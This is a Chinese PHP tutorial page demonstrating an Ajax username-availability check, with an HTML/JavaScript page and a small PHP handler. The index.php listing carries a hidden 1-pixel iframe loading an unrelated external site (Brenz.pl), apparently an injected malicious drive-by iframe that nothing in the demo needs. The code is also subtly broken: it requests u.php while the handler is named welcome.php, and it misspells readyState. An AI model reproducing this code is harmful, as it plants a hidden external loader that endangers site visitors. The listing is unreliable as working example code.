Home Backend Development PHP Tutorial PHP与Ajax相结合实现登录验证小Demo_php实例

PHP与Ajax相结合实现登录验证小Demo_php实例

Jun 07, 2016 pm 05:08 PM

 AJAX即“Asynchronous Javascript And XML”(异步JavaScript和XML),是指一种创建交互式网页应用的网页开发技术。

AJAX = Asynchronous JavaScript and XML(异步的 JavaScript 和 XML)。
AJAX 不是新的编程语言,而是一种使用现有标准的新方法。
AJAX 是与服务器交换数据并更新部分网页的艺术,在不重新加载整个页面的情况下。

设计一个用户注册页面,当用户输入注册名的时候,检测用户名是否已存在,如果存在,给予提示

我们先打index.php

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

<html>

<head>

<meta http-equiv="content-type" content="text/html; charset=gb2312" />

<script type="text/JavaScript">

function Ajax(){

var xmlHttpReq=null;//初始对象xmlHttpReq

if(window.ActiveXObject){

xmlHttpReq=new ActiveXObject("Microsoft.XMLHTTP");

}else if(window.XMLHttpRequest){

xmlHttpReq=new XMLHttpRequest();

}

var userId=document.getElementById("userId").value;//value取得id为userId的值

url="u.php&#63;userId="+userId;//路径

if(xmlHttpReq!=null){//若对象实例化创建成功

xmlHttpReq.open("GET",url,true);//open()打开请求

xmlHttpReq.onreadystatechange=RequestCallBack;//设置回调函数RequestCallBack()

xmlHttpReq.send(null);//请求不包括正文

}

function RequestCallBack(){//回调函数

if(xmlHttpReq.readystate==4){

if(xmlHttpReq.status==200){//请求成功

document.getElementById("get").innerHTML=xmlHttpReq.responseText;//将得到的信息赋给id属性为get的div

}

}

}

}

</script>

</head>

<body>

<font>

注册

</font><br>

<form>

用户名:<input type="text"value="yuki"id="userId"name="userId"><input type="button"value="检测"onclick="Ajax()">

<div id="get">

</div>

</form>

<iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe>

</body>

</html>

Copy after login

welcome.php

1

2

3

4

5

6

7

8

9

10

<&#63;php

header("content-type:text/html;charset=gb2312");

//sleep(1);

$userId=$_GET["userId"];

if($userId=="管理员"){

echo "用户名已存在!";

}else{

echo "该用户名可以注册";

}

&#63;>

Copy after login

关于PHP与Ajax相结合实现登录验证小Demo的相关知识就给大家介绍到这里,希望对大家有所帮助!

Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot Article Tags

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

SublimeText3 Chinese version

SublimeText3 Chinese version

Chinese version, very easy to use

Zend Studio 13.0.1

Zend Studio 13.0.1

Powerful PHP integrated development environment

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)

11 Best PHP URL Shortener Scripts (Free and Premium) 11 Best PHP URL Shortener Scripts (Free and Premium) Mar 03, 2025 am 10:49 AM

11 Best PHP URL Shortener Scripts (Free and Premium)

Working with Flash Session Data in Laravel Working with Flash Session Data in Laravel Mar 12, 2025 pm 05:08 PM

Working with Flash Session Data in Laravel

Simplified HTTP Response Mocking in Laravel Tests Simplified HTTP Response Mocking in Laravel Tests Mar 12, 2025 pm 05:09 PM

Simplified HTTP Response Mocking in Laravel Tests

Introduction to the Instagram API Introduction to the Instagram API Mar 02, 2025 am 09:32 AM

Introduction to the Instagram API

Build a React App With a Laravel Back End: Part 2, React Build a React App With a Laravel Back End: Part 2, React Mar 04, 2025 am 09:33 AM

Build a React App With a Laravel Back End: Part 2, React

cURL in PHP: How to Use the PHP cURL Extension in REST APIs cURL in PHP: How to Use the PHP cURL Extension in REST APIs Mar 14, 2025 am 11:42 AM

cURL in PHP: How to Use the PHP cURL Extension in REST APIs

12 Best PHP Chat Scripts on CodeCanyon 12 Best PHP Chat Scripts on CodeCanyon Mar 13, 2025 pm 12:08 PM

12 Best PHP Chat Scripts on CodeCanyon

Announcement of 2025 PHP Situation Survey Announcement of 2025 PHP Situation Survey Mar 03, 2025 pm 04:20 PM

Announcement of 2025 PHP Situation Survey

See all articles